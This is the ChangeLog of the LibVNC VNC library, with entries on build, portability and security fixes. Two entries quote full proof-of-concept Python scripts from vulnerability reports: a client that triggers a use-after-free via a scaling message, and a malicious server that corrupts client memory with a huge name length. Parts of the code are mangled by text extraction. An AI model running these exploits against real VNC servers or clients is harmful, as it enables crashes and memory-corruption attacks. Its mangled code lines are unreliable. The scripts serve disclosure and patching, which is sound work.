Shared TDE VNC library sources
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

9044 lines
349 KiB

2016-12-29 Christian Beier <>
* README: Fix README markdown.
2016-12-28 Christian Beier <>
* CMakeLists.txt: CMake: version up as well.
2016-12-28 Christian Beier <>
* NEWS: Update NEWS.
2016-12-28 Christian Beier <>
* Version up.
2016-12-28 Christian Beier <>
* libvncserver/main.c: LibVNCServer: fix starting of an
onHold-client in threaded mode. Discovered by madscientist159 on 11 Jan 2015: "noted in testing with the threaded server build, whereby if
newClientHook() returned RFB_CLIENT_ON_HOLD there was no way to
release the hold when the server became ready"
2016-12-09 Christian Beier <>
* : Merge pull request #145 from bkylerussell/websockets Sec-WebSocket-Protocol header fix
2016-12-02 Christian Beier <>
* : Merge pull request #142 from samhed/master Write the correct length for end of header
2016-11-29 Christian Beier <>
* : Merge pull request #140 from vapier/master test/Makefile: use check_PROGRAMS
2015-01-10 Timothy Pearson <>
* README: Update README to reflect change from defaultPtrAddEvent to
2016-11-25 Christian Beier <>
* libvncserver/httpd.c: httpd: rework mime type handling to
recognise more types
2016-11-24 Christian Beier <>
* .travis.yml: TravisCI: Another stab at fixing OSX build. See
2016-11-24 Christian Beier <>
* Revert "Hopefully fix building on OSX." This reverts commit 584b23fdbe12edd81119d57ddd378d10e52cc9e1.
2016-11-24 Christian Beier <>
* Hopefully fix building on OSX.
2016-11-24 Christian Beier <>
* .travis.yml: TravisCI: check on OSX as well, test both gcc and
2016-11-24 Christian Beier <>
* libvncclient/rfbproto.c: Fix building on OSX.
2016-11-24 Christian Beier <>
* : Merge pull request #137 from atalax/master Fix two heap buffer overflows
2016-11-18 Christian Beier <>
* : Merge pull request #138 from stweil/master Fix some typos
2016-11-18 Stefan Weil <>
* README, common/zywrletemplate.c, examples/example.c,
examples/zippy.c: Fix some typos (it's / its) Signed-off-by: Stefan Weil <>
2016-11-14 Josef Gajdusek <>
* libvncclient/ultra.c: Fix heap overflow in the ultra.c decoder The Ultra type tile decoder does not use the _safe variant of the
LZO decompress function, which allows a maliciuous server to
overwrite parts of the heap by sending a larger-than-specified LZO
data stream.
2016-11-14 Josef Gajdusek <>
* libvncclient/rfbproto.c: Fix heap overflows in the various
rectangle fill functions Altough rfbproto.c does check whether the overall FramebufferUpdate
rectangle is too large, some of the individual encoding decoders do
not, which allows a malicious server to overwrite parts of the heap.
2016-09-24 Christian Beier <>
* : Merge pull request #129 from bkylerussell/systemd Support systemd socket activation
2016-08-14 Zac Medico <>
* libvncserver/sockets.c: Support autoPort with ipv4 or ipv6
disabled Make it possible to get autoPort behavior with either ipv4 or ipv6
disabled, by setting rfbScreen->ipv6port or rfbScreen->port to a
negative number. This will make it possible for x11vnc to enforce
its -noipv6 option, as discussed in the following bug report:
2016-06-05 Christian Beier <>
* NEWS: Update NEWS.
2016-06-05 Christian Beier <>
* rfb/rfbclient.h: Fix rfbClientSwap64IfLE broken in
2016-06-05 Christian Beier <>
* : Merge pull request #84 from plettix/master fix for issue 81
2016-05-30 Christian Beier <>
* CMakeLists.txt: CMake: Add maybe-found OpenSSL libs to
2016-05-30 Christian Beier <>
* CMakeLists.txt: CMake: Not all platforms have endian.h, so use the
build system's endianess check.
2016-05-30 Christian Beier <>
* rfb/rfbproto.h: Only include endian.h if present on system.
2016-05-30 Christian Beier <>
* : Merge pull request #105 from cgeorges82/master fix for issue #97. Also, this fixes cmake builds for other
2016-05-13 George Fleury <>
* libvncserver/sockets.c: Avoid calling SSL_pending when connection
is already closed Avoid calling SSL_pending when connection is already closed, calling
SSL_pending with connection already closed is crashing. To
reproduce, open a secure websocket binay protocol connection with
libvncserver compiled with OpenSSL, and when libvncserver is waiting
for rfbProcessClientProtocolVersion send any invalid char, it will
fail and call rfbCloseClient whith destroy all SSL context, calling
SSL_pending after that will generate a invalid access.
2016-04-24 Christian Beier <>
* : Merge pull request #103 from rdieter/master use namespaced vnc_max macro (issue #102)
2016-04-23 gbdj <>
* libvncclient/tls_gnutls.c, libvncclient/vncviewer.c,
rfb/rfbclient.h: libvncclient/tls_gnutls.c: Add hooks to
WriteToTLS() for optional protection by mutex. Fix upstream issue
#100 Squashed commit of the pull request #101 : commit
1c7e01e81862bc46508e675e83c74cc6d63224b0 commit
2016-02-18 Rex Dieter <>
* libvncclient/listen.c, libvncserver/httpd.c,
libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfbproto.h:
use namespaced rfbMax macro (issue #102) Not using generic 'max', avoids conflicts with stl_algobase.h
2016-04-15 Christian Beier <>
* : Merge pull request #115 from solofox/master Enable AF_UNIX socket: ignore setsockopt TCP_NODELAY failure.
2016-04-13 Christian Beier <>
* : Merge pull request #114 from zbierak/master Increase MAX_ENCODINGS value to accommodate more client encodings
2016-04-12 Christian Beier <>
* : Merge pull request #110 from AlexejStukov/patch-1 break statement out of case
2016-04-12 zbierak <>
* libvncclient/rfbproto.c: Fix buffer overflow when applying client
2016-04-12 Christian Beier <>
* travis.yml: TravisCI: remove old config.
2016-04-12 Christian Beier <>
* .travis.yml: TravisCI: add autoreconf step.
2016-04-12 Christian Beier <>
* .travis.yml: TravisCI: the config starts with a dot!
2016-04-12 Christian Beier <>
* README, Add a and and Travis CI status badge.
2016-04-12 Christian Beier <>
* travis.yml: Add a minimalistic config for Travis CI.
2016-04-08 Christian Beier <>
* : Merge pull request #109 from zbierak/master Fix memory access error in camera.c example
2016-04-04 zbierak <>
* examples/camera.c: Fix memory access error in camera.c example
2016-03-05 Cédric Georges <>
* CMakeLists.txt, libvncclient/tls_gnutls.c: Append missing include
directory for GNUTLS and OPENSSL in CMake project Append support of
gnutls > v 2.99.01 (gnutls_transport_set_global_errno have a
different signature)
2016-03-05 Cédric Georges <>
* CMakeLists.txt: re-up comment
2016-03-05 Cédric Georges <>
* CMakeLists.txt, rfb/rfbconfig.h.cmake: Append IPv6 option in CMake
2016-01-27 Christian Beier <>
* : Merge pull request #99 from spaceone/master Ignore null pointers in FillRectangle() and
2016-01-27 SpaceOne <>
* libvncclient/rfbproto.c: Ignore null pointers in FillRectangle()
and CopyRectangleFromRectangle()
2015-12-03 Christian Beier <>
* rfb/rfbclient.h: Be a bit clearer with the cursorshape
documentation for libvncclient.
2015-12-03 Christian Beier <>
* libvncclient/cursor.c, rfb/rfbclient.h: Properly document
HandleCursorShape and GotCursorShapeProc.
2015-10-10 Christian Beier <>
* : Merge pull request #90 from stweil/fix Fix some recently introduced regressions
2015-10-10 Stefan Weil <>
* rfb/rfbproto.h: Fix definition of POSIX data types Commit 92f558482d94c5152174a1983a40863bd6b07911 added stdint.h to
get the type definitions, but included it after the first use of
int8_t in builds for Windows. Signed-off-by: Stefan Weil <>
2015-10-10 Stefan Weil <>
* rfb/rfbproto.h: Fix endianness detection Commit 97f442ef2aa65ade6bea11e90054c57b90abbaca tried to improve the
endianness detection, but introduced a typo and problems for Windows
builds (no endian.h, different definition of
LIBVNCSERVER_WORDS_BIGENDIAN). Fix both issues. Signed-off-by: Stefan Weil <>
2015-10-09 Stefan Weil <>
* ChangeLog, Doxyfile, NEWS, README, client_examples/vnc2mpg.c,
common/zywrletemplate.c, examples/camera.c, libvncclient/listen.c,
libvncclient/sockets.c, libvncserver/cargs.c, libvncserver/scale.c,
libvncserver/sockets.c, libvncserver/tight.c,
libvncserver/ultra.c, libvncserver/zlib.c, rfb/keysym.h, rfb/rfb.h,
rfb/rfbproto.h, webclients/java-applet/ssl/README,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js: Fix
some typos (found by codespell) Signed-off-by: Stefan Weil <>
2015-07-22 plettix <>
* common/md5.c: another shift fix
2015-07-22 plettix <>
* rfb/rfb.h, rfb/rfbclient.h: shift fixes - if an integer is a
negative number then the return value of "Swap32IfLE" was -1
2015-07-07 plettix <>
* libvncserver/websockets.c: fix for issue 81 use different buffers
for decode and encode
2015-05-28 Christian Beier <>
* CMakeLists.txt,, rfb/rfbproto.h: Instead of letting
the build system define endianess, rely on endian.h.
2015-05-28 Christian Beier <>
* .gitignore, CMakeLists.txt, Doxyfile,,,
libvncserver/, m4/ax_create_stdint_h.m4, rfb/rfbproto.h:
Do away with rfbint.h generation and use stdint.h directly instead.
2015-04-17 Christian Beier <>
* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Re-add the
useful bits of 9aa9ac59b4cb10bfca93456a3098e348de172d7f.
2015-04-17 Christian Beier <>
* libvncclient/ Revert "Add libvncclient/h264.c to dist
tarball." This reverts commit 9aa9ac59b4cb10bfca93456a3098e348de172d7f.
2015-04-17 Christian Beier <>
* client_examples/gtkvncviewer.c,,
libvncclient/, libvncclient/h264.c,
libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbproto.h:
Revert "LibVNCClient: Add H.264 encoding for framebuffer updates" This reverts commit d891478ec985660c03f95cffda0e6a1ad4ba350c. Conflicts: libvncclient/h264.c
2015-04-17 Christian Beier <>
* : Merge pull request #70 from maxnet/master httpd: disallow directory traversal
2015-04-17 Christian Beier <>
* : Merge pull request #72 from lopago/fix-segfaults prevent segfaults due to uninitialized memory
2015-04-15 Thomas Anderson <>
* Use AC_CHECK_TOOL for cross-compiling
support. When cross-compiling the ar program has the appropriate prefix
prepended. Respect that here and have autotools autodetect the
appropriate tool.
2015-04-13 Benjamin Dürholt <>
* libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: Changed C++
style comments to C ones
2015-04-10 Benjamin Dürholt <>
* libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: prevent
2015-03-29 Floris Bos <>
* libvncserver/httpd.c: httpd: disallow directory traversal Signed-off-by: Floris Bos <>
2015-03-27 Jay Carlson <>
* libvncclient/rfbproto.c: Avoid divide-by-zero in raw encoding (OSX
RealVNC) OS X RealVNC server crashes out Remmina because the server can
provoke bytesPerLine to be zero. Assume this is coding for zero
lines. The condition could be checked before the calculation of
bytesPerLine. I don’t understand the preconditions of this code
to say one way or the other.
2015-02-09 Peter Spiess-Knafl <>
* libvncclient/, libvncserver/ Set autotools
2015-02-05 Christian Beier <>
* : Merge pull request #63 from LibVNC/sha1rework Replace SHA1 implementation with the one from RFC 6234.
2015-01-27 Christian Beier <>
* : Merge pull request #60 from cinemast/master fixing SOVERSION and .so VERSION
2015-01-18 Christian Beier <>
* webclients/index.vnc: Update link to project home page in
2015-01-18 Christian Beier <>
* : Merge pull request #57 from maxnet/master Fix handling of multiple VNC commands per websockets frame
2015-01-16 Christian Beier <>
* : Merge pull request #56 from maxnet/master Only advertise xvp support when xvpHook is set
2015-01-06 Christian Beier <>
* AUTHORS: Add Floris to AUTHORS.
2015-01-06 Christian Beier <>
* NEWS: Update NEWS.
2015-01-02 Christian Beier <>
* : Merge pull request #51 from maxnet/master Initialize libgcrypt before use
2015-01-02 Christian Beier <>
* : Merge pull request #50 from maxnet/master tls_openssl.c: define _XOPEN_SOURCE for extra POSIX functionality
2014-12-30 Christian Beier <>
* libvncclient/sockets.c: Fix another MinGW64 build issue.
WSAEWOULDBLOCK is not MinGW-specific.
2014-12-30 Christian Beier <>
* libvncserver/rfbserver.c: Fix building with mingw-w64.
2014-12-30 Christian Beier <>
* Remove MinGW linker flag that's
incompatible with mingw-w64.
2014-12-30 Christian Beier <>
* pass cmdline params to configure call.
2014-12-29 Christian Beier <>
* : Merge pull request #49 from maxnet/master Fix libva related compile errors
2014-12-29 Floris Bos <>
*, libvncclient/h264.c: Fix libva related compile
errors - Make h264.c compile with recent libva version by including
va_compat.h - Only enable libva if libva-x11 is installed - Modified configure help text Previous help text suggested libva was only build when
--with-libva was specified, while actual behavior is to build it
by default. Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server
Also no attempt is made to support platforms not using X11 Signed-off-by: Floris Bos <>
2014-10-31 Christian Beier <>
* README: Add VNCpp to projects using LibVNC.
2014-10-21 Christian Beier <>
* ChangeLog: Update ChangeLog for 0.9.10.
2014-10-21 Christian Beier <>
* NEWS: Update NEWS.
2014-10-21 Christian Beier <>
* libvncserver/sockets.c: Update comments regarding
2014-10-21 Christian Beier <>
* libvncserver/scale.c: Fix Use-After-Free vulnerability in
LibVNCServer wrt scaling. Reported by Ken Johnson <>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor
and rfbSetScale cases in the rfbProcessClientNormalMessage function
of rfbserver.c. Sending a valid scaling factor is required
(non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not
accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg,
sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n",
msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale,
cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger
a free. return; at the end, both cases there is a call the rfbSendNewScaleSize
function, where if the connection is subsequently disconnected after
sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth =
Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth
= Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response
to a UltraVNC style frameuffer resize event (%dx%d)\n",
cl->scaledScreen->width, cl->scaledScreen->height); if
(rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead
to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is
called again on the return from rfbProcessClientNormalMessage. In
KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not
require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP =
[self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD =
(struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python <host> <port>
[password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
2014-10-14 dscho <>
* : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation
2014-10-10 Christian Beier <>
* libvncclient/rfbproto.c: Fix possible libvncclient ServerInit
memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is
related to the ServerInit message where the width, the height of the
server's framebuffer, its pixel format, and the name are sent to the
client. The name can be used in a malicious manner to trigger a
memory corruption in the client. Field Size --------------------------------- name-length
[4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was
tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the
program to hang but allows you to try to disconnect. After this it
hangs. Occasionally there will be segmentation fault in memcpy. This
can become more reliable if you connect to a different VNC server
first (Or the wrong port on the malicious server) then connecting to
the malicious port. Every time I accidentally made the wrong VNC
connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it
with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 =
conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02"
conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel =
0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM
= 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding =
"\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF +
"\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth,
frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM,
greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I",
nameLength) + nameString ) c.close()
2014-10-10 Christian Beier <>
* libvncclient/sockets.c: Fix potential memory corruption in
libvncclient. Fixes (maybe amongst others) the following oCERT report
([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious
msg.sct.length It looks like there may be a chance for potential memory corruption
when a LibVNCServer client attempts to process a Server Cut Text
message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); <<
Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can
return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) <<
Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); <<
Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible
to cause the malloc to fail, further leading to an attempt to write
2014-10-09 Christian Beier <>
* NEWS: Update NEWS for 0.9.10.
2014-10-09 Christian Beier <>
2014-10-07 dscho <>
* : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual
autotools setup
2014-10-07 Johannes Schindelin <>
* Add back a working There was no reason to get rid of the convenient script. Most
developers who are not in love with autoconf fail to remember that
autoreconf invocation, therefore it is better to have something
working in place. Signed-off-by: Johannes Schindelin <>
2014-09-01 Nicolas Ruff <>
* libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message
when processing the FileTime. Signed-off-by: Johannes Schindelin <>
2014-10-07 dscho <>
* : Merge pull request #41 from newsoft/master Fixing 2 security issues
2014-10-06 newsoft <>
* libvncserver/scale.c: Make sure that no integer overflow could
occur during scaling
2014-10-06 Christian Beier <>
* libvncclient/ Add libvncclient/h264.c to dist tarball. Otherwise the sources from a 'make dist' package wouldn't compile.
2014-10-03 Christian Beier <>
* m4/.gitignore: Really add empty m4 subdirectory. This change kinda got lost with the last commit re-splitting.
2014-10-02 Christian Beier <>
* : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited.
2014-10-02 Christian Beier <>
* webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest
version from
2014-09-21 Brian Bidulock <>
* .gitignore: add a few more ignores
2014-09-21 Brian Bidulock <>
* removed - no longer applicable: use autoreconf -fiv
2014-10-02 Christian Beier <>
* INSTALL, acinclude.m4, Remove autotools-related files
that will get installed by autoreconf -i.
2014-10-02 Brian Bidulock <>
*, Use an m4 script subdirectory, fix
automake init and two macro names.
2014-10-02 Brian Bidulock <>
* client_examples/, examples/,
examples/android/, libvncclient/,
libvncserver/, test/ Rename obsolete INCLUDES
2014-09-30 Johannes Schindelin <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
Close unclosed comments ;-) Signed-off-by: Johannes Schindelin <>
2014-09-30 dscho <>
* : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build.
2014-09-30 dscho <>
* : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
These are UNIX headers, and are not available on MSVC
2014-09-20 Daniel Cohen Gindi <>
* rfb/rfb.h: Those are generally the windows headers, not just MinGW
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/rfbserver.c: On windows, use the Win32 calls for
directory enumerations. We also do not need the conversion between UNIX values to Windows
values in the RTF_FIND_DATA struct, as we already are on windows.
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/httpd.c, libvncserver/rfbserver.c,
libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers
for compiling on windows without the mixing of Winsock 1 and 2.
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/rfbserver.c: Just use a macro to bridge to the Win32
version of `mkdir` The additional compat_mkdir function was not necessary at all.
2014-09-20 Daniel Cohen Gindi <>
* compat/msvc/sys/time.h: Use correct `winsock2.h` version header
instead of winsock.h. `windows.h` is referring to `winsock.h` (unless the
`WIN32_LEAN_AND_MEAN` is defined). The structs used in this header
are defined in `winsock2.h` or in `winsock.h`, but we are using
Winsock2 of course! So we have to include winsock2.h and refrain
from including windows.h here
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/httpd.c, libvncserver/rfbserver.c,
libvncserver/sockets.c: Fixed a violation of the C89 standard
("declarations must come before instructions")
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows
version for directory enumerations Basically taken from with
some adjustments
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also
has the __FUNCTION__ predefined
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c,
`CreateDirectory` might clash with the
`CreateDirectoryA`/`CreateDirectoryW` macros on MSVC
2014-09-20 Daniel Cohen Gindi <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when
NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program.
2014-09-20 Daniel Cohen Gindi <>
* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
libvncserver/rfbserver.c, libvncserver/sockets.c,
libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and
`resolv.h` are not available on MSVC, and some POSIX functions are
renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a
macro mapping to the _underscored version of MSVC.
2014-09-09 Christian Beier <>
* client_examples/ The HAVE_X11 define is not there
anymore, but we don't need it either.
2014-09-09 Christian Beier <>
*,, vncterm/ChangeLog, vncterm/LinuxVNC.c,
vncterm/, vncterm/README, vncterm/TODO,
vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
vncterm/example.c, vncterm/vga.h: Move vncterm to
2014-09-09 Christian Beier <>
* VisualNaCro/.gitignore, VisualNaCro/AUTHORS,
VisualNaCro/ChangeLog, VisualNaCro/, VisualNaCro/NEWS,
VisualNaCro/README, VisualNaCro/,
VisualNaCro/, VisualNaCro/default8x16.h,
VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/
Move VisualNaCro to
2014-09-09 Christian Beier <>
* Move over to x11vnc
2014-09-03 Christian Beier <>
*, Remove x11vnc from autotools build
2014-09-03 Christian Beier <>
* tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove
2014-09-03 Christian Beier <>
* x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h,
x11vnc/ChangeLog, x11vnc/, x11vnc/README,
x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c,
x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h,
x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c,
x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h,
x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h,
x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE,
x11vnc/misc/, x11vnc/misc/README, x11vnc/misc/Xdummy,
x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch,
x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup,
x11vnc/misc/inet6to4, x11vnc/misc/,
x11vnc/misc/, x11vnc/misc/,
x11vnc/misc/rx11vnc, x11vnc/misc/, x11vnc/misc/shm_clear,
x11vnc/misc/, x11vnc/misc/turbovnc/,
x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h,
x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/,
x11vnc/misc/, x11vnc/misc/,
x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h,
x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h,
x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c,
x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c,
x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c,
x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h,
x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove
x11vnc subdir. The new x11vnc repo is at
2014-09-02 Johannes Schindelin <>
* libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/tls_openssl.c: Use Windows' critical sections to
emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
emulation library which is the reason we did not need
Windows-specific hacks earlier). Happily, it is very easy to provide
Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
* libvncclient/zrle.c: Perform pointer arithmetic on char * instead
of void * Microsoft Visual C++ does not allow pointer arithmetic on void
pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <>
2014-08-29 Daniel Cohen Gindi <>
